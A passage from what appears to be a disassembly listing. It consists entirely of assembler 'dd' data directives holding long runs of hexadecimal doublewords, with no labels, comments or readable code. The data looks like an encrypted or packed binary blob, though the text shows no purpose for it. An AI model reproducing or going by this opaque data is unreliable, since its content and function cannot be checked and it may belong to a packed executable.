7F889A68h, 0D3E0133h, 5B38E9D8h, 7FD4FE9Dh, 402DD217h dd 530D9D43h, 0ED048156h, 7D723226h, 0AC5096A8h, 12EAFE14h dd 4080E97Fh, 5EF3014Bh, 8BBBBF57h, 23404E0Fh, 0AD36E944h dd 63F8F192h, 3C02EB1Bh, 0BE66C727h, 27D1B742h, 3A5C18ACh dd 4FAF627h, 144A284h, 0AF2E99F2h, 20741CF7h, 5E3B1CCAh dd 0FF08A8C1h, 206AF307h, 9B3161h, 352BF10Fh, 0F21676C7h dd 0B67A18C0h, 0F7CCA77h, 0A4C1B378h, 4C064219h, 0BD7B0C81h dd 0B9015956h, 2DC887CCh, 20240F10h, 0B8BCF4C1h, 0CD7F536Fh dd 28AD2135h, 0DE66262Fh, 1841CFAAh, 185BF2BEh, 5104189Ah dd 0DB0A4982h, 0DBDEA34h, 283936B5h, 5C9343C1h, 46D2DDA3h dd 14509480h, 0E9EE6E9Bh, 7A08A032h, 54B7C221h, 0A10D40DAh dd 62091C65h, 7BFE57E9h, 0B268051Eh, 25A1A219h, 30B12B59h dd 0A4E1F705h, 244E9ABEh, 13EF555Fh, 0B02627D9h, 132F61Ah dd 5BFFD048h, 165FA18Bh, 75401A59h, 0C758C244h, 0BBDD9601h dd 108B983Dh, 0EFC1DAE0h, 0F71C087Eh, 0BBB9021Dh, 75394D57h dd 85D2295Eh, 0A9614038h, 5F1D755Dh, 59EB9201h, 20CA688h dd 4D6F6855h, 0DA602856h, 28460A4Bh, 388C8150h, 30244E3Ch dd 7F51423h, 0C26D015Fh, 60104A6Eh, 119517C7h, 0D3D05C32h dd 9D26BF7h, 475D8640h, 364E13Bh, 0F9323CF3h, 0A1D781Eh dd 0EC74247Dh, 0D6A727E2h, 0D1C3E4E9h, 70E58968h, 3F01AB5Fh dd 0FD0D04F9h, 2DC86847h, 0EF7F7AFBh, 0B3BF126Fh, 0ADE91E14h dd 0F58EA16Eh, 2E80989h, 0EDF625Eh, 0C858E304h, 574E39D9h dd 6D444D8Dh, 0F9A5F604h, 2847DAE4h, 86A050h, 0A2042DF2h dd 0E9DAF77Fh, 0A054B127h, 2966EBF8h, 5692A04Bh, 61C53036h dd 494AF60Ch, 9C5F1C26h, 25F3DF08h, 0ADD26226h, 3C7C8A3Ch dd 9388B202h, 992DE01h, 0AA510C21h, 0C0085D45h, 7668047Bh dd 3F8DB26Eh, 0F66F1450h, 333D0760h, 0A2B345B0h, 0C85D314Eh dd 502B91E6h, 0FE30F395h, 0B252CB0Eh, 8605179Fh, 3D8B1179h dd 23104049h, 0F50B5E40h, 0B5CD7064h, 76501012h, 1F609FFAh dd 69DAEE45h, 1791692h, 81611C6h, 0A25BDE17h, 0D72498F9h dd 0B40EE1Eh, 310FE943h, 0FF48A51Ah, 594C3526h, 0C4D62EF1h dd 84C6FE8Bh, 2AB258E4h, 1ED9F84h, 7190D66h, 7D5C2DD0h dd 1B7C69E3h, 294F520h, 0F7252321h, 0C7D2E8D7h, 8666161Bh dd 6913B1C3h, 5B1A7CEFh, 710C3702h, 49992130h, 7FC740C0h dd 9E63D926h, 0E1BAB900h, 73F189EDh, 59CE025Eh, 2EE9F229h dd 0FE3B4078h, 8F4ADC5h, 0BEE02A1Fh, 98AC3F7Bh, 74E6050Eh dd 0AC715F6Dh, 30CE02B0h, 0FE668A10h, 45F60983h, 0E91AB578h dd 5C52FC93h, 6DD9E9BDh, 0C2AF8DACh, 34C28104h, 8E24D066h dd 5399C11h, 337E3668h, 3DC951C9h, 0E90BC82Fh, 0CF5A8AA2h dd 31715509h, 168F8722h, 82493AC2h, 0F4A9E9A0h, 0B531283h dd 922033D1h, 403A05D0h, 5A6F731Eh, 9CAD81Fh, 790915F7h dd 93D4F965h, 0DA12F60Ch, 5292569Ch, 0E9737AEEh, 5E1E9A92h dd 0D716D129h, 8709B253h, 0F1A50051h, 0B75F3265h, 75E9DD87h dd 0BC325430h, 316C6A13h, 269F68F6h, 2CDB495Ah, 0CC00D75Bh dd 0E9741227h, 22D34EC8h, 77E45814h, 0AD3DA930h, 12C0A0C3h dd 0B1016B4Ah, 95126229h, 84B90532h, 0B7F11145h, 0BF059814h dd 6C09D0Ah, 758D0ECAh, 49B013Ah, 0C3011110h, 61676A58h dd 2E97E991h, 4F0E342Fh, 0FFECF80Fh, 0E5ED54D7h, 17413AC9h dd 43AA0C03h, 0F5E3F9E9h, 29E0810h, 12FE4699h, 18B0129h dd 2DB36659h, 26C444BFh, 415FE823h, 42691856h, 3C4A82D0h dd 317A75Ch, 5DE3E207h, 0F73E09E0h, 52BB0DBh, 582A1CCEh dd 1134884Bh, 2043803h, 0DF5BD989h, 0BD83003Bh, 0E4E820C9h dd 0EDC10E45h, 0C6608106h, 89C84D91h, 215DEA1Bh, 0E5E1E1ACh dd 792C6DECh, 64C98F7h, 438A547Ch, 0B6B05421h, 0C635202h dd 4AD4E97Dh, 3EB874D9h, 6A2DC94Bh, 0AB686503h, 9DEB1318h dd 682AE2E4h, 514BB582h, 0C45C44F0h, 88CDB061h, 1041D748h dd 0AA4810A4h, 416C6A62h, 1076D20Fh, 8E546440h, 0ED828CBAh dd 0E925ACB0h, 0C5DB617Dh, 54A30847h, 589A3CE6h, 80500E24h dd 5A66D528h, 0DC1FC580h, 0AA8DDDF6h, 3A6C1CB3h, 0CE23D516h dd 2CBE6F83h, 622155F6h, 7513C0D0h, 0B2A6660Ch, 50A3A37Dh dd 4A57D55h, 1B60F84h, 903864DDh, 0F9C34D30h, 0B2E2A8C9h dd 30446CD9h, 58EF2BF5h, 5B775E6Fh, 33871B29h, 46499AFAh dd 5F993D89h, 0D35B6F2Eh, 830B36E1h, 0F87865BEh, 0C50B5E3Fh dd 8BF95720h, 3BE9168Ah, 0B85BE0h, 7C6664A3h, 4F5DFD05h dd 0C3404726h, 52C00027h, 5B6850h, 580CBD1Bh, 7DFD642Dh dd 0A214F55Fh, 7F1D0057h, 3CE947BFh, 9A229F22h, 1D73EA52h dd 84024DA6h, 4356713Bh, 82AC760h, 58BCE906h, 30090995h dd 0BD441325h, 88009C98h, 811F4D2Ch, 1D1780F7h, 0C1471BFCh dd 8B3061EFh, 0FDDFF126h, 0C21CECCFh, 1CAC0958h, 0ECC11797h dd 0D6B4E94Fh, 39C5FD50h, 0C803956Ah, 9F002D8Dh, 1B17D7C3h dd 0F0FB011Eh, 5F08A0EBh, 5423B55Dh, 310F5275h, 4B4F05C7h dd 0E84AFA62h, 5CDBEA48h, 4E89B1CFh, 0C11E16F8h, 0B91203EFh dd 505ACEC2h, 0BC44F32Fh, 0B55BCCCh, 65773868h, 19F5C340h dd 6BB2471Dh, 5F91E581h, 18870673h, 64531005h, 0E105C589h dd 0FA642EB7h, 484C54EDh, 0D803C8B4h, 7132735Bh, 67355953h dd 73496BEAh, 4AB33CA5h, 919DE2B2h, 59E98202h, 96F4664Ch dd 4A45C933h, 932A5615h, 69E9D2A0h, 0F3E9A7B1h, 0AA89E689h dd 4A7C3732h, 1E780B02h, 0F8505A27h, 970CA46Ch, 5F4B9B14h dd 2CC90FB2h, 2A73F1E1h, 0DE0F612h, 9FCBF25Bh, 46CD4F0Fh dd 83224387h, 0F8B5CDDCh, 3AB70BD9h, 2268601Dh, 585580CBh dd 83055D03h, 0EA417002h, 17DE560Fh, 6F75055Eh, 629D362Ah dd 66EC752Dh, 641BF2C4h, 0ECC12558h, 901FD3B7h, 318321D8h dd 874D39EAh, 115A3ADCh, 0F990EF40h, 233BA16h, 3DE90A83h dd 0AC077FF4h, 4420212Ch, 0B01B252h, 0F280DAF6h, 0F46DAC82h dd 0DB48AEDEh, 9AC1E950h, 22BD1F4Bh, 6C94B257h, 466B2D5Ah dd 322921B9h, 0E8601EAAh, 0A219164Dh, 7781D33h, 0B4D9FA21h dd 5899D1E7h, 59CB2A05h, 0E9E80103h, 937CC307h, 7950689Eh dd 0AEB0BD1Eh, 69611A5h, 3B5C054Fh, 0FC7DDDCBh, 476EC051h dd 0B92FB144h, 290B4B62h, 4CBB41E9h, 0BD39356Eh, 0C117DEDFh dd 0F060D9CBh, 50AA0F94h, 0C1F60597h, 25D0809h, 885B103Dh dd 0C71F9B70h, 0BAE33BF0h, 32D42822h, 0B5BE76DDh, 2F01E882h dd 0E534185Fh, 0E28AA8D5h, 0A8BE0056h, 8140A749h, 720462CEh dd 4FE97FDFh, 50F91F0h, 8D68C8B7h, 0E98D304Eh, 20CBAFD3h dd 10DEF85Eh, 602DA684h, 5755877Eh, 0E2810368h, 7C851682h dd 0C8B2CE25h, 7D17DC07h, 0F131143Ch, 0AD00EE5Eh, 2941A112h dd 12859CBh, 0AE0B8DC3h, 72728727h, 28C5012Dh, 0D1569331h dd 0D690E3EDh, 38125AB3h dd 0D18520E9h, 0E811C804h, 49FB530Ah, 70CBA754h, 16682D95h dd 41E93E81h, 650AAD4Ah, 64422817h, 0A65B4EDCh, 0E90644E8h dd 0B63A6520h, 23661801h, 7912D2EAh, 0BE0BF79Eh, 95D566CEh dd 566F3F14h, 5337E93Eh, 0A1B61230h, 0EAA0001h, 467E1353h dd 7C56E8A9h, 0DA29096Eh, 3113605Bh, 523DD6C8h, 8065A2F2h dd 600F1CBFh, 0B980C103h, 6044A818h, 3F04DA9Bh, 0B8505B42h dd 86108FA2h, 100052BAh, 109B9DAh, 2E105DEFh, 23B559ADh dd 171A975Ah, 0A20FDF3Dh, 15D15B85h, 81004143h, 0EF0612F3h dd 0D801EE8Fh, 58E1415Ch, 732568EEh, 606B9252h, 200D6388h dd 0C5012035h, 0DFCAF29Fh, 0E0E6EB89h, 0C00D2C1Dh, 5775C663h dd 7390307Ah, 936D4405h, 20C04E22h, 0C090CAEh, 4948E914h dd 8623C6Dh, 5DF19FBDh, 7824A20h, 0F4D2727Ch, 4262C2F1h dd 23CC884Ah, 0AC29F14Bh, 6E4082Ch, 0A51E46F6h, 0EC02C22Fh dd 0F9F62577h, 68A070EBh, 3DBE0AB8h, 4005E989h, 72C52896h dd 8A144A80h, 0DDE90BAEh, 0BD0E7B67h, 0EC44AA92h, 5455A2ABh dd 8868E2F1h, 14BD2E70h, 198DBA73h, 59502F68h, 5D252BFh dd 46522F5Dh, 77EF71B7h, 0E7126053h, 0ED5AC62Dh, 52054E02h dd 0E311191Dh, 71FE556h, 0E9141128h, 8193340Bh, 4FCD20BCh dd 91A27F60h, 4BC60EB4h, 0CB5CECC7h, 0CED43B32h, 7FDD6861h dd 0B1E6AB8Bh, 8507ADF1h, 68B29CC8h, 45A01ADh, 2B95C91Ch dd 5449D6C7h, 76783D86h, 0F63198F8h, 0B11ABF16h, 73132FD9h dd 0F8024F0h, 0E388DEECh, 0A0293249h, 0A75AA6E9h, 0B0D34CCh dd 0DD6AADBDh, 3849F0A0h, 53000F73h, 446DEBBBh, 657FE978h dd 0B2503245h, 96B572E9h, 0C66814A4h, 0ADEE440h, 403756D0h dd 476502A6h, 0FF09BA98h, 1FCD39h, 8C518E05h, 3EB9827h dd 0A1D6DC3h, 0C07FD521h, 9A328B00h, 0E0E95517h, 0C41C9F3Ah dd 6DB391A0h, 0F7F84372h, 10DB762h, 0F10BC1FDh, 0D7DE3669h dd 5F79A045h, 5EF5091Ah, 0B6FA60FAh, 1A29011h, 60551FEEh dd 0CE5BDD31h, 30E74363h, 91AAD8D7h, 8E5C8964h, 0E1451092h dd 0FECC802Bh, 0E1C1013Fh, 0E9D1F703h, 770B7B5Ah, 6BFD0BB3h dd 0FC40E20Ah, 0BBC8AFAAh, 9ABFAC5Ah, 687940C6h, 3A34042Ch dd 0AB315F06h, 45567449h, 2D46BB83h, 1AE145Ch, 46284B68h dd 55B0E97Eh, 518FDD8Bh, 5B7A8FEh, 745D1282h, 0C6C56FF9h dd 92C45F3Dh, 410F8731h, 44215EF3h, 1CD0196h, 60F5AFE0h dd 3B719250h, 21ED407Ah, 0C508044Ah, 0B1F5B884h, 3BD0E9h dd 2CFDBA17h, 88F46A0Fh, 8E89B65Ah, 133B4C61h, 6D2300C7h dd 31EB452Dh, 37FC58F6h, 0F70EB896h, 5D2EE4DEh, 0F0321BADh dd 5578D9D2h, 38BDBB0Fh, 8580B828h, 0A16027F5h, 6DE9A982h dd 75AA005Eh, 446F6816h, 0B00CE5D9h, 98E913D9h, 0D75E4927h dd 8305F945h, 0EABD02EFh, 0C4FFE917h, 1BE75EE5h, 3B485F92h dd 33CC10DEh, 0F8B95D09h, 9BF637D0h, 23D00E5Ah, 496E2BDBh dd 580CC54h, 0AB91D425h, 0CFEDE93Bh, 9D5CE388h, 4CE90030h dd 5D0963BAh, 101C7709h, 0A1134F4Fh, 5509045Ah, 68BF29E6h dd 0E38CB4E2h, 0FF1A95F5h, 92CA1A85h, 0A180407Eh, 0DEDBE744h dd 0BBD83128h, 791A7C27h, 0AC123CA2h, 0EF9EE446h, 1A3E61B1h dd 797E391Ah, 47E9E12Fh, 710729C7h, 717BFEB8h, 4E591E49h dd 0D65C54C2h, 67585A1Ah, 211BE912h, 0E9E064E9h, 50DDB580h dd 0C4D1EB0Ah, 0BF3712CCh, 735D470Eh, 165C4A06h, 0E9C0050Fh dd 0D9DDEFA9h, 0F24DE2EBh, 0F640032h, 4B2D7D62h, 6B4EFCEEh dd 8E29DF0Bh, 0C36942h, 0CC471C5Dh, 3E0CC113h, 6033D225h dd 0C0833585h, 1C694CE3h, 80D0F736h, 0DFBE56D8h, 0C4CDC5Bh dd 262071Dh, 0D6E11098h, 99404E46h, 0F6F52D2Ch, 0CFF620E9h dd 87BFE095h, 0A3BA9F1Ch, 0CBA3C945h, 0C418E906h, 53593242h dd 0DB640350h, 6716760Ch, 9F701819h, 81ED6F25h, 3C78DF05h dd 7A5A6932h, 0E929A057h, 0E6209D1Ch, 44792FE5h, 0CFA2A76h dd 74C56B33h, 6238E6Ch, 86370EEBh, 7D000C3Eh, 121F829h dd 45751C3h, 4C3D0868h, 0ECC9E135h, 5427BF33h, 0EFEB804Fh dd 18CA8ACCh, 24F98931h, 5C5C3EF1h, 0E9410C3Eh, 0B5018B52h dd 0D059D40Bh, 0ACA98E6Ch, 54FAF3F4h, 24102DDDh, 0BD80B029h dd 7E0F00ECh, 80CD8158h, 6628EB65h, 0E5E6A9C1h, 0D880250h dd 372C7D79h, 402D4D29h, 2405C703h, 1623AD59h, 0A8D8C5EEh dd 72C50397h, 50E50A51h, 8222AC31h, 72D0681h, 0C08470D3h dd 0F05C6940h, 825B63Ch, 6E2BB51Ch, 3294A2Ch, 81EC7AA5h dd 9722C8BDh, 5499CC4Eh, 15B80390h, 50466806h, 25884FA2h dd 0DB640A74h, 0EE84CBFDh, 6AB1C82Ch, 390AB11Ah, 0A124F23Dh dd 99509DD0h, 5187F1D5h, 0AA99B0h, 52DD001h, 464F2235h dd 9EAFD05h, 6220E95Ah, 0CED1FC32h, 580016C8h, 73F63540h dd 0F931FE2Dh, 4078DE48h, 0E82D29D8h, 5D9A6905h, 6093888Ah dd 0B5A9360h, 4A6255E4h, 0DAC29B5Dh, 3D1BF6DBh, 35B1688Bh dd 0B9B39F98h, 287AB607h, 4AFF5BDEh, 888E0F78h, 82F849F7h dd 7C59DE97h, 62DB6B3Ch, 654451A5h, 0AAEBF00Ch, 5B52B3B2h dd 0FBBF139Ah, 0C2BF6625h, 3675334Fh, 0E6CC9DD4h, 61F41454h dd 90FE474Ch, 317B02ADh, 0F45E70CBh, 0E9F7583Bh, 0C98A6836h dd 0E7829747h, 0F409E222h, 0B2775298h, 5222742Fh, 5A4A6ACEh dd 0A6E95830h, 0EBFBA8A7h, 68601EC5h, 136AC91Ah, 0A68964F9h dd 2D932B3h, 74293FD3h, 605A79D5h, 1704A567h, 0DBF71860h dd 1CC890E8h, 413C940Ch, 0ED05BDFAh, 3A8B009Dh, 11FDCB81h dd 1E77383Ch, 7B849ABDh, 0F4C2211Fh, 0E1D3404Bh, 68F4040Fh dd 20A3E9h, 23B5F281h, 53B761Bh, 0DD1DFAE2h, 0C27EF942h dd 0E0C81CA1h, 30E9FAC1h, 28DAB445h, 581C66C2h, 0D00EFC2Ch dd 0D15A8904h, 3DE985D0h, 0DC0FB505h, 0E49AD20Dh, 1096C896h dd 97B98084h, 0FB444B4Bh, 8E0B9250h, 6828310Ch, 2646CB94h dd 12894A96h, 0DEB84555h, 76D9E4A6h, 285DF512h, 8939AD1Dh dd 62FDE9C5h, 32B07325h, 0A05F9A90h, 0CD68E02Ch, 12CDB37Bh dd 0C11844Ah, 1CD6F56h, 5E95EB58h, 5D5D6E92h, 0D338504h dd 0CCDA0631h, 0E9894073h, 5EAB9DE9h, 0B8A7F389h, 9E480AE9h dd 616A82CAh, 72C00E7Ah, 0BA24294Eh, 6203A337h, 0CCC9A64Dh dd 60E90181h, 0E7895389h, 16BDB334h, 36EC9ECh, 4862CAF4h dd 3BBE0020h, 5904304Ch, 5605E6C1h, 5E3CD0ACh, 103EE16h dd 0B0E310EEh, 8E0C81D1h, 29625016h, 261C43Ah, 0F0315A08h dd 6812DEECh, 3FE677D1h, 63CE908h, 0F1885107h, 5A59CB20h dd 32DB4CF6h, 8099E424h, 5166BDB3h, 302CF2B1h, 1DAC12CBh dd 4DFEE970h, 510097AEh, 0C237CEB9h, 0D965F70Ch, 51ECD104h dd 611BE700h, 59CA8906h, 3280173h, 0C5ACC02h, 0C02B35D0h dd 0C1D8F7E1h, 0C8283D10h, 85B34E2Ch, 8D4FEB68h, 0EED5003Dh dd 517EA57Ah, 5A851300h, 2C2D58AEh, 326E0448h, 0FF2337E9h dd 0D159F433h, 0C12D3CA7h, 3A8FF54Ah, 0DE64E181h, 78B0F804h dd 4EF91959h, 0C1458317h, 0EDA90851h, 0E7CE11D2h, 0F096542Dh dd 0C0F940A0h, 45E13295h, 0E8830CFEh, 80E5B262h, 52505A2Ah dd 0E653DA88h, 7BD8EAD3h, 2DC6F25Bh, 0FC8BA2E9h, 0A9C3B700h dd 2161D90Bh, 658C030Ch, 0ED69133Ah, 7033E285h, 312B2F1Fh dd 3657C30h, 90D11EBFh, 58ECBAADh, 0C248D85Ah, 82A5F348h dd 9A70066Ah, 4600B87Fh dd 5B0D2370h, 902E2B60h, 0B74201EEh, 10A02D1Ah, 5FE9F06Bh dd 0D7CD274Ah, 0F6006C25h, 131B0F30h, 0C0B8E97Ah, 9668ACCAh dd 0EE8C185Ah, 0F3F84E21h, 8ECF62EAh, 6F356C4Eh, 0AAA599ECh dd 2574543Fh, 5F18EF04h, 8278944Fh, 0AE70DB5Bh, 3ED2F63Ch dd 0C2FC7AB5h, 0BB6111BDh, 4484742Ch, 0C170ABA6h, 9C071D68h dd 84FD4845h, 1530E9h, 0AAA90EB9h, 903E924Eh, 1BDD3A2Dh dd 0A601191Dh, 4CFE02B5h, 0BE404504h, 7C2DCEDFh, 0B1E8EED4h dd 0E1D044C2h, 71128ACh, 4D534FA4h, 27D775C2h, 138D72EFh dd 9D4D66h, 0A91E5B12h, 0F1892431h, 0D40E2FD2h, 91A3E0A4h dd 7DF4B2F6h, 9D9739F6h, 0E28C0DC2h, 16F30C33h, 325AD420h dd 0CE6128AAh, 5782CE8Ah, 0A17841E9h, 672D7CB6h, 38E989DAh dd 6996EF78h, 732F6881h, 2A60561Fh, 0C9279DA5h, 880EC803h dd 0E4EE4FFDh, 2FB9A6A8h, 8C801CBh, 6FC90C0Dh, 0FE0007Fh dd 0B45A3784h, 0BA5270C1h, 0B633F009h, 5EBDF02Ah, 58C30926h dd 0AE027D84h, 0DB80A34h, 0EA4FC9A4h, 3999020Bh, 6287F4A3h dd 66031D51h, 1F91F952h, 0A469412Ah, 0EF62F72Eh, 681235D6h dd 0A4A4713Bh, 60E79C30h, 665707E6h, 0ADE1FCA9h, 0E099C00Fh dd 0D72DC11Ah, 0EDEF875Ah, 7008ACD5h, 8E118C01h, 833A0948h dd 0E3509E5Ah, 0C3BC79E7h, 221FC62Dh, 0E910FD08h, 0B3125367h dd 0E9400FEh, 0F6B4E580h, 0D84ED57Fh, 0C94FE414h, 5BCFA09Bh dd 9685550h, 3FA069C6h, 963E20C0h, 89C05F12h, 29B2D8F8h dd 607812D5h, 9D502FAFh, 1A5FC6BAh, 0AEB4FEDAh, 2BF15A05h dd 0C070CABAh, 5E7F181h, 680D797Ah, 847CED01h, 32EE1F58h dd 7A54D568h, 0FECDFE0Dh, 42C5068Fh, 40AB85A5h, 32C0C69Fh dd 5A7C279Fh, 1097D25Dh, 0F579335Dh, 0C1F9006Fh, 0EB8106E3h dd 3EBA850Eh, 5BD92429h, 0F8E77582h, 0A7D0BB96h, 0FD83FAA5h dd 4EF102B4h, 0C36E854Ah, 151004C7h, 0F9E4EA2Ch, 5DEE13F7h dd 9953FCDCh, 0EC7A06Ah, 15B2046h, 0ED0ADD2Fh, 0F44E3D08h dd 53948FFBh, 0B3535002h, 0DB29E3AEh, 0B8453FBFh, 0C1010362h dd 490096D4h, 464F6E45h, 0D81433E9h, 68F8C21Fh, 10967C6Ah dd 6123DE52h, 81550BE9h, 640DC7A1h, 0C8A1079h, 24942276h dd 0A2723F6Fh, 40E08008h, 0F84A2C3Ah, 59A801F2h, 6CE90F31h dd 0C3252E58h, 3FC07B08h, 95F4EBD4h, 82BAD400h, 2160170Ah dd 85442540h, 65E9103Ah, 30BE014Dh, 1128973h, 6B8B3Fh dd 2E27642Dh, 0BCCAE96Ch, 515C0434h, 9F01B954h, 0E2220C8h dd 76C797B8h, 0A2ADA36Bh, 0DE87861Dh, 0A9B540DAh, 56703A69h dd 0B3E90BA2h, 0E380EC22h, 57EBABE0h, 24490CCFh, 34C42AF3h dd 0EB271C1h, 619933Fh, 0BC49F4C7h, 0D076CBD0h, 426EB37Ch dd 0AC05A578h, 0B5A1A0A8h, 0B2688164h, 0ED1EE998h, 574F322Fh dd 6208F3F3h, 0B1C11DB6h, 722A4610h, 35124B4Dh, 281F9308h dd 6CB00952h, 0B9600797h, 0FD047DB5h, 5EF30946h, 304A082h dd 5299F231h, 78050001h, 0B01D736Ch, 72D50B7h, 1293FA59h dd 4B656144h, 4D345FF0h, 84318890h, 8E8ADC0h, 4CD4C33Ah dd 29461EC8h, 449558F6h, 6C4595D9h, 0E1085B24h, 0E35A254Ch dd 616B90B5h, 5B4B2F4h, 0B014ED68h, 7BF9FC02h, 0B3575424h dd 41B80739h, 4801D86Dh, 0D36504E9h, 0F7C16827h, 0DA6D68F9h dd 0C392E073h, 27AD8FB0h, 0BDE61668h, 0A37591A2h, 0C1028FEFh dd 10809FDCh, 0CD6498B9h, 4148490Ch, 0BBEA7C62h, 0E6E96108h dd 0D160270Eh, 7782C47Dh, 0B255693Ah, 0AD38E575h, 0C37EDC9Ah dd 0F04F7B11h, 304D6646h, 3D4B9E86h, 0E2FFD963h, 9F0806F3h dd 3472DA00h, 0F6E0C115h, 37AF002Dh, 0C72936C6h, 76427E9h dd 5BABEA47h, 1A1D0C7Ch, 5915680Ch, 18B35B83h, 0DD660C6Bh dd 8AB2515Ah, 0D90359C9h, 15E82A94h, 7C2A684Dh, 0BB055466h dd 533677B3h, 6FE1ABEh, 0A561BC02h, 653E6801h, 0EA3C6C7Fh dd 9DA6BA8Eh, 0ECC68618h, 0DE24705h, 16C4D601h, 905A080Ah dd 10476B2Eh, 2D6A28B8h, 1FE6CFC4h, 0BA12764Ah, 8D250DCAh dd 0CE018B83h, 10536E07h, 2CD421D5h, 0DD5F67A8h, 0B952A970h dd 2685041h, 6A2FBC67h, 5F1DC2h, 1C581607h, 60B8F866h dd 2EC2DD27h, 55126415h, 9D01D2F7h, 3E5E74B7h, 22DD1C82h dd 5D1C7Ah, 48BF572Ch, 99404CB8h, 0FBF5044Bh, 0DDF706B7h dd 0AFBE0B20h, 1B74B05Dh, 6F072C26h, 0ACACAB04h, 0D3741287h dd 0E9F80E69h, 0CFBD31EAh, 55F0892Bh, 95B1537Fh, 405A562Ch dd 885098C6h, 839007E0h, 25F2609h, 2D298089h, 4C3B2912h dd 0A07F5E7Ch, 9208E907h, 0CB01046Ch, 0E8697D68h, 4D46C4CFh dd 88D836ACh, 49B9B198h, 0D1564400h, 12FE017Dh, 0EC784A68h dd 0B08AC4F6h, 8F660016h, 5259E830h, 8E07B63Ch, 6FC026EEh dd 65C6E106h, 23BF7E9h, 875C8815h, 721012E2h, 9D62BEE9h dd 0A45F5620h, 60AB5E82h, 2EE9FA00h, 0C9072095h, 76E029F2h dd 8841F971h, 0CBE52D8Fh, 0FDD342h, 5A685351h, 230DBBFEh dd 0D5EB95Bh, 1C84C03Ah, 0A0B824AFh, 3B0844D0h, 4594135Bh dd 0D01F3320h, 1781FE0h, 445AA5DAh, 0BA9DD225h, 0A5060E9h dd 895FB355h, 61D205F8h, 7B367F05h, 46D1313Bh, 8A3B59CBh dd 0B40E508Ah, 0B84DD141h, 74A2C900h, 293D25B2h, 881A370h dd 3CE24958h, 0A3158D74h, 4EDCD7E1h, 72109FD3h, 4B00F3B8h dd 0EC0D2C93h, 39256632h, 0C996CA2Dh, 0FB29F07Ah, 1438260Fh dd 0CB58081h, 7AE940DEh, 5D8EDE34h, 0B554F919h, 41EB9501h dd 50FCC7D1h, 0B22FB035h, 0E228DE2Eh, 0C0D2F602h, 0EA0C40E2h dd 76B4E250h, 0E0EC1FBCh, 0FE581F30h, 90F21E63h, 0CEB61F85h dd 0ED14D0C3h, 0A0594B24h, 54B1EEA0h, 0F3C2A4h, 44823569h dd 0EBC1D3F7h, 9A01F2B2h, 0E92CDC08h, 2C8EFA60h, 37E9D1B6h dd 500C8BD0h, 5C895859h, 0CE43419Fh, 0F60D47C0h, 31322317h dd 14C601B0h, 0FEBF6B05h, 0F7DDA819h, 0B8043EEAh, 2123167h dd 0EC3C400Ah, 5178EFCh, 6D5D4A1h, 0C746402Ah, 320B3ED8h dd 0C266A4BFh, 38BA78C5h, 0C9B7D29Bh, 32CF2D7Ch, 3772F877h dd 3CA9BB00h, 0A4B594Ah, 0DFDBF714h, 0D387AD5Ch, 0F132A4E9h dd 0FB292ECDh, 903B1DFDh, 6C5CEEF1h, 237A653Fh, 5DD1A71Ch dd 0EAC5890Eh, 0BA81FE01h, 1D52049Dh, 45FA230h, 5641832Ah dd 2F849C53h, 5C93C36Bh, 0D89F0930h, 179E97E4h, 9168E56Fh dd 692A3AB1h, 4AC629EDh, 5BC9C0F2h, 74120EE2h, 0D5887B48h dd 49357498h, 1BA8FD0h, 0B46DE625h, 5CE46047h, 69F6294h dd 0BD61DB6Dh, 0BBA1E59Bh, 684C2ACh, 44B41D6h, 46F93B83h dd 3CFD1232h, 88138370h, 310B5AF1h, 56B6ABB4h, 68C37033h dd 0B8698E26h, 7C4E66Bh, 0CA88C2B1h, 8B63DDE9h, 72D3FE52h dd 90057E16h, 0CF94BDE9h, 6DD9809Dh, 92CA167h, 5E989705h dd 0EA301205h, 58EF3D40h, 0F67F654Eh, 352B5A1Fh, 0B46EB8BEh dd 0DB105EE2h, 8EBA039Ah, 0D1DE88D4h, 0F272B6DAh, 50EBF796h dd 0EB583A08h, 4759C981h, 0F6E98BB3h, 302755F8h, 917648CEh dd 415E80D4h, 1D9F72Dh, 46C85D8Fh, 0BD0348FCh, 0B6206347h dd 0B1505094h, 60524934h, 2FD94C4h, 0D52D7A68h, 365491B2h dd 0C8016607h, 7594B284h, 761010B9h, 0B35300DAh, 2C4704C1h dd 0D8283B8Dh, 68660E74h, 51985B14h, 3EFD47B6h, 8B653385h dd 913DC92Dh, 223C2E4h, 49B202D1h, 59026A5Fh, 0FA898BEDh dd 9F201552h, 3B93A036h dd 0CBA0BF02h, 0F707E42Dh, 58B68BFEh, 8EA1F265h, 88D8E273h dd 6C9D0B63h, 349622F7h, 9FB2E895h, 0BD25C340h, 83A01598h dd 81F0FFC5h, 0EE03ED14h, 0E9EB04B0h, 169D95h, 6B8892E0h dd 0D65A0921h, 0C6C046A2h, 17329DBCh, 0E0F7312Fh, 0B5B24C13h dd 80C369C8h, 0E7C5B75h, 2A14020h, 14DF6850h, 0AFE00206h dd 0F82EF1EDh, 0D524B787h, 43230959h, 6E0B8E25h, 2AF6A892h dd 79DE6804h, 8A6A308Dh, 6E955F36h, 6FE9F631h, 0C1280538h dd 0DAF2F180h, 5C819079h, 24284F01h, 3DEB7075h, 82DEC84Eh dd 881C340h, 7EB729E9h, 405EA69Ch, 0D849013Dh, 46E9A431h dd 0C7E5022Fh, 10216609h, 8298DFFCh, 82E5A763h, 0FB48A589h dd 6827E189h, 20DB7A45h, 52763028h, 0E75AAC20h, 39D6CD2Bh dd 9EF8B5Bh, 6BA354B1h, 0CFFA4BF8h, 1612CCBDh, 35137968h dd 98D9091Ah, 0F962779h, 5B582EC0h, 90C34821h, 0F2694130h dd 3505EA81h, 5E1C4978h, 11903FB0h, 45FA75Bh, 0A058A474h dd 0B0E9451Eh, 0E684B4F6h, 0FF3A55Eh, 1CB38C9Fh, 0A1965FE9h dd 10B4F3C2h, 7E82E4C8h, 0BDA71626h, 0CAF3538Dh, 2C427E02h dd 0A7286BCBh, 2AC1FE24h, 510870C6h, 0E974B50Bh, 0E68F42ECh dd 5F8F84BEh, 4C4EE2B1h, 0CF298600h, 8AFC5BA6h, 8247C49h dd 5A6B134Ch, 525E2FF1h, 452781D9h, 4471B7BAh, 10C4ADBDh dd 0E05AF406h, 39409049h, 2E9317BBh, 0C92F1E62h, 76F9EBD8h dd 792762A1h, 0A021127Fh, 0FB985604h, 0B5B2304Ah, 0DC42128Bh dd 0F7811CD1h, 5EAC1DAh, 0F279017Bh, 705DC716h, 5A5ED51Bh dd 0EFE41487h, 7EBBE03h, 0D6F73CD0h, 87064E62h, 5504F7DEh dd 2158EB37h, 0DA5A5360h, 0BAF86F44h, 4118E927h, 8204574h dd 3A301F42h, 0A2BB084Ah, 